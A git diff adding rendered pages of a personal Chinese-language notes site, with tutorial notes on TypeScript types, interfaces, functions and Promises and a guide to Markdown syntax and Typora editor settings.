  • void 类型的存在纯粹是为了指示不存在值,例如存在于没有返回值的函数中
  • nullundefined 类型是所有其他类型的子类型。 无法显式引用 null 和 undefined 类型。 使用 nullundefined 字面量只能引用这些类型的值。

关键字

var, let 与 const

TypeScript 使用let和const声明变量 - 知乎 (zhihu.com)open in new window

使用 var 声明变量的时候,可以同时声明某个变量多次,但是只有最后一个生效。

let 不支持这样做,使用 let 声明变量,一个变量同时只能声明一次,否则会报错。

// var 重复声明
+var a = 1;
+var a = 2;
+console.log(a);
+
+// let 尝试重复声明
+let b = 1;
+let b = 2;
+console.log(b);
+

image-20220301084125051

let 的作用域在其所在块内, const 也是如此

const 与 let 的不同之处在于其声明的变量只能在声明时被赋值, 也即使用 const 生命的变量被赋值后无法再改变变量所指向的内存地址(指针)

const 声明常量后无法改变值, 但是使用 const 声明一个对象后, 虽然对象变量锁指向的内存地址不改变, 但是对象的属性是可变的

// const 声明常量后尝试改变常量值
+const c = 1;
+c = 2;
+
+// const 声明对象后改变对象属性
+const d = {
+    name: '咸鱼型233'
+};
+d.name = '233';
+

image-20220301084824328


模板字符串

在 TypeScript 中,还可以使用模板字符串,该模板字符串可以跨越多行并具有嵌入式表达式。 这些字符串由反撇号/反引号 (`) 字符括起,并且嵌入式表达式的形式为 ${ expr }

image-20220216154826496


枚举

练习 - 枚举 - Learn | Microsoft Docsopen in new window

TS入门篇 | 详解 TypeScript 枚举类型 - 掘金 (juejin.cn)open in new window

枚举提供了一种处理相关常量集的简单方法。 enum 是一组值的符号名。 枚举被视为数据类型,你可以使用它们来创建用于变量和属性的常量集。

每当过程接受一组有限的变量时,请考虑使用枚举。 枚举使代码更清晰、可读性更好,尤其是在使用有意义的名称时。

使用枚举:

  • 帮助减少由于转置或错误输入数字而导致的错误。
  • 使将来更改值变得容易。
  • 使代码更易于阅读,这意味着不太可能出现错误。
  • 确保向前兼容性。 通过使用枚举,将来有人更改与成员名称对应的值时,代码失败的可能性更小。
// 枚举
+enum Grade {
+    freshman,   // 0-大一
+    sophomore,  // 1-大二
+    junior,     // 2-大三
+    senior,     // 3-大四
+}
+let ayusummer: Grade = Grade.senior;
+console.log("233:" + ayusummer);
+
+// 更改序列起始值为 2
+enum Grade2 {
+    freshman = 2,   // 2-大一
+    sophomore,  // 3-大二
+    junior,     // 4-大三
+    senior,     // 5-大四
+}
+let ayusummer2: Grade2 = Grade2.senior;
+console.log("233:" + ayusummer2);
+console.log("233:" + Grade2[ayusummer2]);   // 根据枚举值获取枚举名称
+

image-20220216161042912


unknown 类型

TypeScript 中的任何 any 和 unknown 类型 - Learn | Microsoft Docsopen in new window

any 类型虽然很灵活,但可能会导致意外错误。 为了解决这个问题,TypeScript 引入了 unknown 类型。

unknown 类型与 any 类型的相似之处在于,可以将任何值赋予类型 unknown。 但无法访问 unknown 类型的任何属性,也不能调用或构造它们。

// unknown 类型
+let randomValue: unknown = 10;
+randomValue = true;
+randomValue = 'Mateo';
+
+console.log(randomValue.name);  // Error: Object is of type unknown
+randomValue();                  // Error: Object is of type unknown
+randomValue.toUpperCase();      // Error: Object is of type unknown
+

image-20220216162129265

anyunknown 之间的核心区别在于你无法与 unknown 类型的变量进行交互;这样做会产生“编译器”错误。 any 将绕过所有编译时检查,并且在运行时评估对象;如果该方法或属性存在,它将表现出预期的效果。


类型断言

如果需要将变量视为其他数据类型,则可以使用类型断言。

类型断言有两种形式。 一种是 as 语法:

(randomValue as string).toUpperCase();
+

另一个版本是“尖括号”语法:

(<string>randomValue).toUpperCase();
+

as 是首选语法。 使用 < > 进行类型转换时,某些 TypeScript 应用程序(例如 JSX)可能会发生混淆。

let randomValue: unknown = 10;
+
+randomValue = true;
+randomValue = 'Mateo';
+
+if (typeof randomValue === "string") {
+    console.log((randomValue as string).toUpperCase());    //* Returns MATEO to the console.
+} else {
+    console.log("Error - A string was expected here.");    //* Returns an error message.
+}
+

image-20220216171526602


类型保护

前面的示例演示了在 if 块中使用 typeof 在运行时检查表达式的类型。 这称为“类型保护”。

你可能熟悉在 JavaScript 中使用 typeofinstanceof 来测试这些条件。 TypeScript 了解这些条件,并在 if 块中使用时会相应地更改类型推理。

可以使用以下条件来了解变量的类型:

类型Predicate
stringtypeof s === "string"
numbertypeof n === "number"
booleantypeof b === "boolean"
undefinedtypeof undefined === "undefined"
functiontypeof f === "function"
arrayArray.isArray(a)

联合类型

TypeScript 中的联合类型和交叉类型 - Learn | Microsoft Docsopen in new window

联合类型描述的值可以是几种类型之一。 当值不受控制时(例如,来自库、API 或用户输入的值),这将很有帮助。

联合类型使用竖线 (|) 分隔每种类型。

// 联合类型
+let age: number | string;
+let age1: number | string;
+age = 20;
+age1 = "二十";
+console.log(age);
+console.log(age1);
+

image-20220216172315488


交叉类型

TypeScript 中的联合类型和交叉类型 - Learn | Microsoft Docsopen in new window

交叉类型与联合类型密切相关,但它们的使用方式完全不同。 交叉类型组合两个或多个类型以创建具有现有类型的所有属性的新类型。 这使你可以将现有类型加在一起,以获得具有所需所有功能的单个类型。

交叉类型使用与号 (&) 分隔每种类型。

type ManagementEmployee = Employee & Manager;
+

交叉类型最常与接口一起使用。 以下示例定义了两个接口 EmployeeManager,然后创建了一个称为 ManagementEmployee 的新交叉类型,该交叉类型将两个接口中的属性组合在一起。

interface Employee {
+    employeeID: number;
+    age: number;
+}
+interface Manager {
+    stockPlan: boolean;
+}
+type ManagementEmployee = Employee & Manager;
+let newManager: ManagementEmployee = {
+    employeeID: 12345,
+    age: 34,
+    stockPlan: true
+};
+console.log(newManager);
+console.log(newManager.stockPlan);
+console.log(newManager.age);
+console.log(newManager.employeeID);
+

image-20220216175452073


对象类型

TypeScript 中的集合类型 - Learn | Microsoft Docsopen in new window

对象类型是所有类、接口、数组和字面量类型(不是基元类型的任何类型)


数组

  • 使用元素类型后跟方括号 ([ ]) 来表示该元素类型的数组:

    let list: number[] = [1, 2, 3];
    +console.log(list);
    +
  • 第二种方式,通过语法 Array<type> 使用泛型 Array 类型:

    let list2: Array<number> = [4, 5, 6];
    +console.log(list2);
    +

    image-20220221204920271

两种方法混合使用并没有好处,所以要决定使用哪种语法。

个人更倾向于泛型写法, 因为字面上含义比较明确


元组

拥有相同值类型的数组很有用,但有时一个数组可能包含混合类型的值。 为此,TypeScript 提供了元组类型。 若要声明元组,请使用语法 variableName: [type, type, ...]

// 创建一个包含字符串和数字的元组
+let person1: [string, number] = ['Marcia', 35];
+console.log(person1);
+

image-20220221205029006

image-20220221205240167


接口


TypeScript 中的接口概述

  • TypeScript 中的接口概述 - Learn | Microsoft Docsopen in new window

  • 可以使用接口来描述对象、命名和参数化对象的类型,以及将现有的命名对象类型组成新的对象类型。

    interface Employee {
    +    firstName: string;
    +    lastName: string;
    +    fullName(): string;
    +}
    +

    接口的唯一任务是描述类型。 它定义了代码协定所需的内容,而实现接口的变量、函数或类则通过提供所需的实现详细信息来满足协定。

    TypeScript 编码准则建议接口不应以字母 I 开头。

  • 定义该接口的属性(或成员)及其类型。 属性可以为必需、可选或只读属性。

    属性类型说明示例
    必须除非另行指定,否则所有属性都是必需的。firstName: string;
    可选在属性名称的末尾添加问号 (?)。 对于不是必需的属性,请使用此属性。 这可以防止类型系统在省略该属性时引发错误。firstName?: string;
    只读在属性名称的前面添加 readonly 关键字。 对于只应在首次创建对象时修改的属性,请使用此属性。readonly firstName: string;

    定义接口后,可以将其用作类型,并可享受到类型检查和 Intellisense 的所有好处。

  • 此示例通过声明类型 Employee 的变量来实现接口。 它通过传入 firstNamelastName 属性的值并指定 fullName 方法需结合使用 firstNamelastName 属性并返回结果,来实现协定。

    let employee: Employee = {
    +    firstName : "Emil",
    +    lastName: "Andersson",
    +    fullName(): string {
    +        return this.firstName + " " + this.lastName;
    +    }
    +}
    +
    +employee.firstName = 10;  //* Error - Type 'number' is not assignable to type 'string'
    +
  • 接口没有运行时表示形式;它们只是一种编译时构造。 接口对于记录和验证属性的所需形状、作为参数传递的对象以及从函数返回的对象特别有用。 这使你可以捕获错误,并确保在编译时传递正确的参数,而不用等待在运行时发现它们。


接口与类型别名的区别

  • 上述 Employee 接口还可以使用 type 键字表示为类型别名:

    type Employee = {
    +    firstName: string;
    +    lastName: string;
    +    fullName(): string;
    +}
    +

    类型别名是数据类型(例如联合、基元、交集、元组或其他任何类型)的定义。 另一方面,接口是描述数据形状(例如对象)的一种方法。 类型别名可以像接口一样使用;但有一些细微的差异。 主要区别在于**,不能重新打开类型别名以添加新属性,而接口始终是可扩展的**。 此外,只能使用类型别名描述并集或元组


扩展接口

  • 练习 - 在 TypeScript 中扩展接口 - Learn | Microsoft Docsopen in new window

  • 接口可以相互扩展。 这使你能够将一个接口的成员复制到另一个接口,从而在将接口分离为可重用组件方面提供了更大的灵活性。

  • 当使用一个或多个接口扩展接口时,将适用以下规则:

    • 必须从所有接口实现所有必需的属性。
    • 如果属性具有完全相同的名称和类型,则两个接口可以具有相同的属性。
    • 如果两个接口具有名称相同但类型不同的属性,则必须声明一个新属性,以使生成的属性是这两个接口的子类型。
  • interface IceCream {
    +   flavor: string;
    +   scoops: number;
    +   instructions?: string;
    +}
    +
    +interface Sundae extends IceCream {
    +    sauce: 'chocolate' | 'caramel' | 'strawberry';
    +    nuts?: boolean;
    +    whippedCream?: boolean;
    +    instructions?: boolean;		// 这里会报错, 因为 IceCream 接口中也有 instructions 属性且类型为 string
    +    // 正确的做法应当是将这里的 boolean 改为 string 使其与 IceCream 中的 instructions 一致
    +}
    +

使用接口的其他方法


创建可索引类型

  • 你可以使用描述可编制索引的数组类型的接口。

    可编制索引的类型具有“索引签名”,该签名描述可用于在对象中编制索引的类型,以及编制索引时相应的返回类型 。

    例如,IceCreamArray 接口将索引签名声明为 number 并返回 string 类型。 此索引签名声明 IceCreamArray 是使用数字编制索引的,它将返回一个字符串。

interface IceCreamArray {
+    [index: number]: string;
+}
+
+let myIceCream: IceCreamArray;
+myIceCream = ['chocolate', 'vanilla', 'strawberry'];
+let myStr: string = myIceCream[0];
+console.log(myStr);
+

你还可以使用内置的数组类型或为自定义数组创建类型别名,但通过使用接口,你可以定义自己的数组类型,以便要使用该接口的任何人都可以一致地应用它


使用接口描述 JavaScript API

  • JavaScript 和 TypeScript 开发人员面临一个共同的难点,即使用外部 JavaScript 库。 可以使用接口描述现有的 JavaScript API 并阐明函数参数和返回类型。 接口使你能够清楚地了解 API 的期望值和返回值。
const fetchURL = 'https://jsonplaceholder.typicode.com/posts'
+// Interface describing the shape of our json data
+interface Post {
+    userId: number;
+    id: number;
+    title: string;
+    body: string;
+}
+async function fetchPosts(url: string) {
+    let response = await fetch(url);
+    let body = await response.json();
+    return body as Post[];
+}
+async function showPost() {
+    let posts = await fetchPosts(fetchURL);
+    // Display the contents of the first item in the response
+    let post = posts[0];
+    console.log('Post #' + post.id)
+    // If the userId is 1, then display a note that it's an administrator
+    console.log('Author: ' + (post.userId === 1 ? "Administrator" : post.userId.toString()))
+    console.log('Title: ' + post.title)
+    console.log('Body: ' + post.body)
+}
+
+showPost();
+

虽然早期版本的 ECMAScript(如 ES3)不支持 asyncawait,但 TypeScript 编译器能够生成兼容代码来实现此功能。 这样,你就能够在仍使用旧版浏览器的同时利用较新的功能!


函数

在 TypeScript 中创建函数 - Learn | Microsoft Docsopen in new window

TypeScript 简化了函数开发,通过允许键入参数和返回值,使它们更易于进行故障排除。 TypeScript 还为参数添加了新选项。 例如,虽然在 JavaScript 函数中,所有参数都是可选的,但你可以在 TypeScript 中将参数设置为必需的或可选的。


命名函数

function addNumbers(x: number, y: number): number {
+    return x + y;
+}
+console.log(addNumbers(1, 2))
+

匿名函数

函数表达式(或匿名函数)是未预先加载到执行上下文中的函数,并且仅当代码遇到该函数时才会运行。 函数表达式是在运行时创建的,并且必须先声明才能调用。 (这意味着不会对它们进行提升,而命名函数声明在程序开始执行时就会进行提升,并且可以在其声明之前调用。)

let addNumbers_anonymous = function (x: number, y: number): number {
+    return x + y;
+}
+console.log(addNumbers_anonymous(3, 2))
+
+let total = function (input: number[]): number {
+    let sum: number = 0;
+    for (let i = 0; i < input.length; i++) {
+        if (isNaN(input[i])) {
+            continue;
+        }
+        sum += input[i];
+    }
+    return sum;
+}
+console.log(total([1, 2, 3, 4, 5, 6, 7, 8, 9]))
+

在使用匿名函数时,你将获得类型检查和 Intellisense。 你还会注意到,在此示例中,变量 total 不是类型化的变量,但 TypeScript 可以通过称为“上下文类型化”的内容(一种类型推理形式)来确定其类型。 这可以减少保持程序类型所需的工作量。


箭头函数

箭头函数(也称为 Lambda 或胖箭头函数,因为定义它们的是 => 运算符)提供用于定义匿名函数的简写语法。 由于其简洁性,箭头函数通常用于简单的函数和某些事件处理场景。

箭头函数通过省略函数关键字并在参数和函数体之间添加 => 运算符来简化语法。

let addNumbers_arrow = (x: number, y: number): number => {
+    return x + y;
+}
+console.log(addNumbers_arrow(3, 4))
+

箭头函数是在 ES2015 中引入的,因此并非所有浏览器都支持它们。 通过使用 TypeScript,你可以利用这些函数类型,然后转译到更低的 JavaScript 版本(如有必要),这样你的代码就可以在旧版浏览器上使用。

image-20220301224130936


参数

运用参数的乐趣 - Learn | Microsoft Docsopen in new window

  • 可选参数

    console.log("可选参数:")
    +let addNumbers_optional = (x: number, y?: number): number => {
    +    if (y === undefined) {
    +        y = 0;
    +    }
    +    return x + y;
    +}
    +console.log(addNumbers_optional(5, 4))
    +console.log(addNumbers_optional(5))
    +

    image-20220301224948862

    需要注意的是设置了参数可选后, 函数体内需要对没有参数的情况进行相应处理

  • 默认参数

    let addNumbers_default = (x: number, y: number = 10): number => {
    +    return x + y;
    +}
    +console.log(addNumbers_default(5, 4))
    +console.log(addNumbers_default(5))
    +

    image-20220302081528148

  • rest 参数

    如果要使用多个参数作为一个组(在数组中)或不知道函数最终将采用的参数数量,则可以使用 rest 参数。 rest 参数被视为无限数量的可选参数。 可以将它们保留不动,或根据需要调整数量。

    此示例包含一个必需参数和一个可选参数 restOfNumbers,该参数可接受任意数量的其他数字。 restOfNumbers 之前的省略号 (...) 指示编译器构建一个传递给函数的参数数组,并给它后面的名称赋值,这样你就可以在函数中使用它。

    let addAllNumbers_rest = (firstNumber: number, ...restOfNumbers: number[]): number => {
    +    let total: number = firstNumber;
    +    for (let counter = 0; counter < restOfNumbers.length; counter++) {
    +        if (isNaN(restOfNumbers[counter])) {
    +            continue;
    +        }
    +        total += Number(restOfNumbers[counter]);
    +    }
    +    return total;
    +}
    +console.log(addAllNumbers_rest(1, 2, 3, 4, 5, 6, 7, 8, 9))
    +console.log(addAllNumbers_rest(2))
    +console.log(addAllNumbers_rest(2, 3, NaN, 4))
    +

    image-20220302082942124

  • 析构对象参数

    函数参数是有位置的,并且必须按照它们在函数中定义的顺序传递。 在调用具有多个可选参数或相同数据类型的函数时,这可能会降低代码的可读性。

    若要启用命名参数,可以使用称为析构对象参数的技术。 这使你能够在函数中使用接口来定义命名参数,而不是定位参数。

    以下示例定义了一个接口 Message,该接口又定义了两个属性。 在 displayMessage 函数中,Message 对象作为参数传递,提供对属性的访问,就像它们是普通参数一样。

    主要是当参数多的时候能够更加明显看出参数的含义

    interface Message {
    +    text: string;
    +    sender: string;
    +}
    +
    +function displayMessage({ text, sender }: Message) {
    +    console.log(`Message from ${sender}: ${text}`);
    +}
    +
    +displayMessage({ sender: 'Christopher', text: 'hello, world' });
    +

    image-20220302090757288


定义函数类型

可以使用类型别名来定义函数类型

// 定义一个用于对两个 number 进行运算并返回一个 number 的函数类型别名 calculator
+type calculator = (x: number, y: number) => number;
+// 定义一个加法运算 calculator 函数 addNumbers_calculator
+let addNumbers_calculator: calculator = (x: number, y: number) => x + y;
+// 定义一个减法运算 calculator 函数 subtractNumbers_calculator
+let subtractNumbers_calculator: calculator = (x: number, y: number) => x - y;
+// 定义一个参数为 operation 字符串(add | subtract) 返回 calculator 类型的函数 doCalculation
+let doCalculation = (operation: "add" | "substract"): calculator => {
+    if (operation === "add") {
+        return addNumbers_calculator;
+    } else {
+        return subtractNumbers_calculator;
+    }
+}
+console.log(doCalculation("add")(1, 2))
+console.log(doCalculation("substract")(1, 2))
+

image-20220302093052728

将别名换成 interface 定义接口, 主体逻辑也不用改变

// 定义一个用于对两个 number 进行运算并返回一个 number 的函数类型别名 calculator
+// type calculator = (x: number, y: number) => number;
+// 使用接口定义 calculator
+interface calculator {
+    (x: number, y: number): number;
+}
+
+// 定义一个加法运算 calculator 函数 addNumbers_calculator
+let addNumbers_calculator: calculator = (x: number, y: number) => x + y;
+// 定义一个减法运算 calculator 函数 subtractNumbers_calculator
+let subtractNumbers_calculator: calculator = (x: number, y: number) => x - y;
+// 定义一个参数为 operation 字符串(add | subtract) 返回 calculator 类型的函数 doCalculation
+let doCalculation = (operation: "add" | "substract"): calculator => {
+    if (operation === "add") {
+        return addNumbers_calculator;
+    } else {
+        return subtractNumbers_calculator;
+    }
+}
+console.log(doCalculation("add")(1, 2))
+console.log(doCalculation("substract")(1, 2))
+


Tips


VSCode


扩展

  • Live Server

    image-20210717150010179

    Launch a development local Server with live reload feature for static & dynamic pages

    实时编译运行 JS, 再打开开发者工具, 可以边改动边观察效果

  • HTML Boilerplate

    image-20210717150127783

    自动生成 HTML5 模板


在线编译运行


Promise

Promise · 深入挖掘 TypeScript (gitbooks.io)open in new window[感觉文档比较生硬, 夹杂着很多奇怪的词汇, 看起来像是蹩脚的翻译]

Promise - JavaScript | MDN (mozilla.org)open in new window

Promise - 廖雪峰的官方网站 (liaoxuefeng.com)open in new window

Promise 类存在于很多现代 JavaScript 引擎中,而且可以很容易地被 polyfillopen in new window。Promise 的主要目的是为异步/回调风格的代码带来同步风格的错误处理。

Promise 对象用于表示一个异步操作的最终完成 (或失败)及其结果值。

一个 Promise 对象代表一个在这个 promise 被创建出来时不一定已知的值。它让您能够把异步操作最终的成功返回值或者失败原因和相应的处理程序关联起来。 这样使得异步方法可以像同步方法那样返回值:异步方法并不会立即返回最终的值,而是会返回一个 promise,以便在未来某个时候把值交给使用者。

一个 Promise 必然处于以下几种状态之一:

  • 待定(pending): 初始状态,既没有被兑现,也没有被拒绝。
  • 已兑现(fulfilled): 意味着操作成功完成。
  • 已拒绝(rejected): 意味着操作失败。

待定状态的 Promise 对象要么会通过一个值被兑现(fulfilled),要么会通过一个原因(错误)被拒绝(rejected)。当这些情况之一发生时,我们用 promise 的 then 方法排列起来的相关处理程序就会被调用。如果 promise 在一个相应的处理程序被绑定时就已经被兑现或被拒绝了,那么这个处理程序就会被调用,因此在完成异步操作和绑定处理方法之间不会存在竞争状态。

img

如果一个 promise 已经被兑现(fulfilled)或被拒绝(rejected),那么我们也可以说它处于*已敲定(settled)*状态。您还会听到一个经常跟 promise 一起使用的术语:已决议(resolved),它表示 promise 已经处于已敲定(settled)状态,或者为了匹配另一个 promise 的状态被"锁定"了。Domenic DenicolaStates and fatesopen in new window 中有更多关于 promise 术语的细节可以供您参考。


创建 Promise

创建 promise 只需要简单地在 Promise 构造器 上调用 new 即可; promise 构造器 传入 resolvereject 以控制 promise 状态

const promise = new Promise((resolve, reject) => {
+    // resolve / reject 函数操控着 promise 的命运
+});
+
+ + + diff --git a/Language/TypeScript/index.html b/Language/TypeScript/index.html new file mode 100644 index 0000000000..f29e65aa1d --- /dev/null +++ b/Language/TypeScript/index.html @@ -0,0 +1,40 @@ + + + + + + + + Type Script | DailyNotes + + + + + + +
跳至主要內容

Type Script

小于 1 分钟

+ + + diff --git a/Language/index.html b/Language/index.html new file mode 100644 index 0000000000..b6e9d61e92 --- /dev/null +++ b/Language/index.html @@ -0,0 +1,40 @@ + + + + + + + + Language | DailyNotes + + + + + + +
跳至主要內容

Language

小于 1 分钟

+ + + diff --git a/NoteTools/LaTex/Latex.html b/NoteTools/LaTex/Latex.html new file mode 100644 index 0000000000..28a8d023bc --- /dev/null +++ b/NoteTools/LaTex/Latex.html @@ -0,0 +1,40 @@ + + + + + + + + 安装 | DailyNotes + + + + + + +
跳至主要內容

安装

小于 1 分钟

+ + + diff --git a/NoteTools/LaTex/index.html b/NoteTools/LaTex/index.html new file mode 100644 index 0000000000..70f6ee1290 --- /dev/null +++ b/NoteTools/LaTex/index.html @@ -0,0 +1,40 @@ + + + + + + + + La Tex | DailyNotes + + + + + + +
跳至主要內容

La Tex

小于 1 分钟

目录

安装

+ + + diff --git a/NoteTools/Markdown.html b/NoteTools/Markdown.html new file mode 100644 index 0000000000..12d3d438ea --- /dev/null +++ b/NoteTools/Markdown.html @@ -0,0 +1,118 @@ + + + + + + + + Markdown | DailyNotes + + + + + + +
跳至主要內容

Markdown

大约 30 分钟

Markdown


基础语法

# 一级标题
+## 二级标题
+### 三级标题
+
+分割线↓
+
+---
+
+- 无序列表
+1. 有序列表
+
+[待加入超链接的文字](链接)
+![图片描述信息](图链)
+`短代码或者专用名词`
+==高亮文本==
+
+```代码块语言
+代码块内容
+```
+
  • 无序列表
  1. 有序列表

待加入超链接的文字![图片描述信息](图链) (PS: 这里不贴出来是因为会导致站点构建错误, 可在 图片章节 查看演示效果) 短代码或者专用名词高亮文本

代码块内容
+

上面的源码部分在 分割线--- 中间空了一行, 是有原因的, 如果不空行的话有可能会把 --- 上面的文本识别成标题

  • 换行

    • 行末两个空格并换行

      第一行文字  
      +第二行文字
      +

      第一行文字
      第二行文字

      Typora 中对应 Space Space Shift+Enter

    • 直接空一行

      第一行文字
      +
      +第二行文字
      +

      第一行文字

      第二行文字

      Typora 中对应 Enter


链接

  • 常规链接写法

    [百度](http://www.baidu.com)
    +

    百度open in new window

  • 文内标题链接写法

    [->编辑软件](#Markdown 编辑软件)
    +[->Typora](#Typora)
    +

    [->编辑软件](#Markdown 编辑软件) ->Typora

    不管是跳转到几级标题, () 内都只需要用 1 个 #, 不过要注意所有的标题不要有重名


图片

![图片标识](图片地址)
+
  • 图片标识想起就起,不想起空着也行

  • 图片地址可以填相对地址也可以填网络中的绝对地址

    • 相对地址

      • 意指图片源文件存放在本地, 使用当前文件与使用的图片文件间的相对地址定位到图片

        ./ 当前目录
        +../ 上1层目录
        +../../ 上2层目录
        +

        一般也就只能用到 ./, 比如:

        ![](./Markdown.assets/202212110347663.png)
        +

    • 网络绝对地址(http/https)

      • 不推荐使用本地文件的绝对地址, 不是相对路径拼接的绝对路径是坏文明(, 毕竟这样做可移植性几乎没有, 不管是个人设备中迁移 markdown 文件还是共享
      • 需要先将图片上传到图床上然后再获取图片的链接,可以借用Gitee 或 Github 的 Issue 中评论框粘贴图片直接生成图链或者是使用一些免费的公共图床
      ![](http://cdn.ayusummer233.top/img/202212111515300.png)
      +

      PS: Gitee 在年初更新了防盗链规则, 不推荐在 Gitee 站外使用 Gitee 图链, 否则就丢图了

      目前在 Gitee 站外引用的 Gitee 图链会变成一个 Gitee 图标


      推荐使用个人图床(比如七牛云对象存储, 正常使用前期存储较少的时候一个月不到一毛钱, 存了几千张图片之后也不过一个月两三毛的样子, 两三年前充了 50 现在还有四十七块多)

      反而域名才是消耗品, .top 域名首年九块九, 后面续费就二十多了


      不推荐使用公共图床是因为不好管理以及怕丢以及不清楚公共图床是否会压图


表格

| 列1  |  列2  |  列3 |
+| :--- | :---: | ---: |
+| 值1  |  值2  |  值3 |
+

实际上一般不会手打表格语法, 在 Typora 中可以用 Ctrl + T 或者在右键菜单中选择快捷插入表格


:---, :--:, ---:分别对应左对齐, 居中对齐和右对齐(中间的-数量其实无所谓, 主要是用来对齐|` 这样源码比较美观)

可以在 VSCode 中使用 Markdown All in One 扩展来一键格式化 markdown 文档源码 Alt + Shift + F

列1列2列3
值1值2值3

分页符

<div STYLE="page-break-after: always;"></div>
+

直接在 markdown 源码中插入此行, 这样在导出 PDF 文件时会在此行处分页

之所以有这个需求是因为经常出现一张长图片导致前一页或者后一页出现大面积空白或是一段源码在 PDF 中刚好分在了两页上, 这样阅读起来就比较别扭, 因此可以手动插入分页符进行调整

不过后来分享 PDF 页数越来越多时手动插入分页符的操作非常耗费精力, 因此就引出了导出 HTML 分享的解决方案

对应 VNote 导出以及 [MPE 导出](#使用 MPE 导出 base64图片 && 带侧边目录的 HTML)

有了解决方案后又有了新的问题, 不是所有分享媒介都直接预览 HTML 文件(比如微盘和gitlab都不支持直接预览 HTML), 从而引出了新的解决方案:

  • 对于 Gitlab 而言, 默认支持 markdown 文件的渲染显示
  • 对于微盘而言, 最终还是分享 markdown + 图片文件夹 + PDF
  • 使用 VuePress, VitePress 等工具自己起个文档站点展示 markdown 文件

html

markdown 是兼容 html 语法的, 所以你可以在 Markdown 中使用 html + css 来实现各种自定义的效果

排版

通常, 在 Typora 中一份 markdown 文档展示给我们的预览效果是通过根据当前主题的 css 样式将当前文档的 markdown 源码渲染为 html 显示的

当我们切换主题时就会看到预览效果的变化, 比如有些主题的标题预览是居中显示的

而我们同样也可以直接在 Markdown 源码中写 html 来自定义该部分内容的排版

例如使用 <center> 标签将文字居中显示:

  <center>文字居中</center>
+

图像居中显示:

<div align=center><img src="http://cdn.ayusummer233.top/img/20210514111630.png" width="  "></div>
+

字体类型与颜色

  • <font face="黑体">使用黑体</font>
    +
  • <font face="黑体" size=10>我是黑体10号字</font> 
    +
  • <font color=red>红色</font>
    +

字体大小

<font size = 5>示例</font>
+

对于全局字体大小的设置也可以在 Typora 的偏好设置中的外观设置中进行自定义配置

image-20221211150947284


目录

本地阅读的话一般编辑器侧边栏大纲都是展示全部的目录的, 但是很多站点的 Markdown 渲染侧边栏只支持深度到2级的目录展示, 所以在顶部有一个目录还是有些用的

Typora 可以选择插入目录, 但是对于源码的改动只是加了个 [TOC], 这种配置只有在 Typora 中才能正确解析, 而 VSCode 中的 Markdown All in One 扩展的插入目录则是直接以无序列表的形式将目录插入到了源码中, 不管在哪里都是可以正常渲染出来的

image-20221210222920898

在命令面板中选择使用 Markdown All in One 生成目录即可在当前光标位置生成目录, 且每次保存时会自动更新目录

img


插入数学公式


公式内部打空格

怎么在LaTeX,Markdown和知乎上写数学公式时打出空格 - 知乎 (zhihu.com)open in new window


img


多行公式等号对齐

NPV = 现金流入现值和 - 现金流出现值和

\begin{aligned}
+    NPV  &= CI - CO \\
+    	 &= \sum_{t=0}^n CI_t (P/F, i_0, t) - \sum_{t=0}^n CO_t (P/F, i_0, t)  \\
+\end{aligned}
+

NPV=CICO=t=0nCIt(P/F,i0,t)t=0nCOt(P/F,i0,t) \begin{aligned} NPV &= CI - CO \\ &= \sum_{t=0}^n CI_t (P/F, i_0, t) - \sum_{t=0}^n CO_t (P/F, i_0, t) \\ \end{aligned}


矩阵

如何在 markdown 中表示矩阵? - 知乎 (zhihu.com)open in new window


$$\begin{matrix}
+0&1&1\\
+1&1&0\\
+1&0&1\\
+\end{matrix}$$
+

中括号边框: bmatrix

011110101 \begin{matrix} 0&1&1\\ 1&1&0\\ 1&0&1\\ \end{matrix}


Markdown 编辑软件


Typora

六年后才推出首个正式版,Typora 1.0 详细评测 - 少数派 (sspai.com)open in new window


  • 与 VSCode 相较而言在大文件的续写方面渲染速度太慢, 但是当文档仅有一千行左右时渲染速度还不错

    PS: 长期使用过后我个人写 Markdown 的主力工具仍是 Typora, 因其对表格以及图片的支持比较好, 以及用 VSCode 写 Markdown 经常需要同时打开源码和预览两个窗口, 即便装了类似 Typora 的插件体验依旧不及 Typora 本体, 而且一两千行, 一两万字基本上对于写一个文档而言也够用了

  • VSCode 主要在文档中含有太多外链图片资源时编辑文档经常乱跳屏幕, 编辑体验不是很好

  • Typora 编辑 markdown 文件也有如下顺手之处

    • 自动空行, 使得回车时确实能够换行书写

      编辑 markdown 源码时要实现预览时的话行需要在源码行尾输入两个空格或者是一个或多个空行

    • 可视化编辑格式(尤其是表格的插入和编辑体验很好)

      直接编辑 Markdown 文件主要是看不到图片, 因此在 VSCode 中编辑 Markdown 时通常会开两个 tab, 一个编辑源码一个用来预览

    • 配合PicGo 也可以自动上传图片到个人图床, 截图完直接粘贴可以自动生成图链

    • 超链接的生成比较灵活, 复制完网页链接之后直接粘贴会根据内容生成超链接及其文本, 对于参考链接的书写比较友好, 省下了不少自己打描述的时间


Typora 激活前没挂梯子的话最好在偏好设置中把使用国内服务器勾选上

image-20221211020334256


配置项推荐

偏好设置 中可以自定义自己的配置项


外观

image-20221211011126291


窗口样式

窗口样式: 分为 经典一体化 两个选项, 可以根据自己的喜好进行设置

一体化:

image-20221211010829668

经典:

image-20221211010918350


字体大小

字体大小: 推荐使用 自动, 如果字体大小实在看着不舒服也可以自定义设置大小

image-20221211011241834


状态栏

状态栏: 推荐显示状态栏, 就是页面最下面这几个

image-20221211012545188


阅读速度

阅读速度: 默认即可, 一般也不会用到

image-20221211012645241


侧边栏

侧边栏: 勾选以允许折叠与展开大纲视图, 这个配置项无所谓, 因为在编辑时会根据需要在侧边栏右键进行调整

image-20221211012704477

image-20221211012856059

有时侧边栏目录太长是打开折叠展开的, 有时折叠后目录比较短但是层级比较深, 此时为了方便跳转一般会关闭允许折叠(也即全展开)(换言之折叠与否完全看心情)

image-20221211013124468


主题

根据自己的喜好设置主题即可, 具体主题详见 主题推荐

image-20221211013454092


通用

image-20221211020218008


启动选项

默认情况下是打开 Typora 之后全是空白, 推荐选择重新打开上次使用的文件和目录, 这样可以方便继续之前的工作

image-20221211020432747


保存与恢复

推荐勾选自动保存

想必 WPS 卡死导致文件被吞过的同学比较有感触

image-20221211020629290


语言

选择系统语言即可

image-20221211020806930


更新

已经激活了的话推荐勾选自动检查更新

个人倾向于也勾选上更新至开发板, 目前为止还没遇到什么不能接收的恶性 bug, 倾向求稳的同学可以只勾选自动检查更新

image-20221211020939385


许可证信息

image-20221211020956716

在详情界面可以查看序列号, 在换设备以及在其他设备使用 Typora 时会查看此项


快捷键

Shortcut Keys - Typora Supportopen in new window

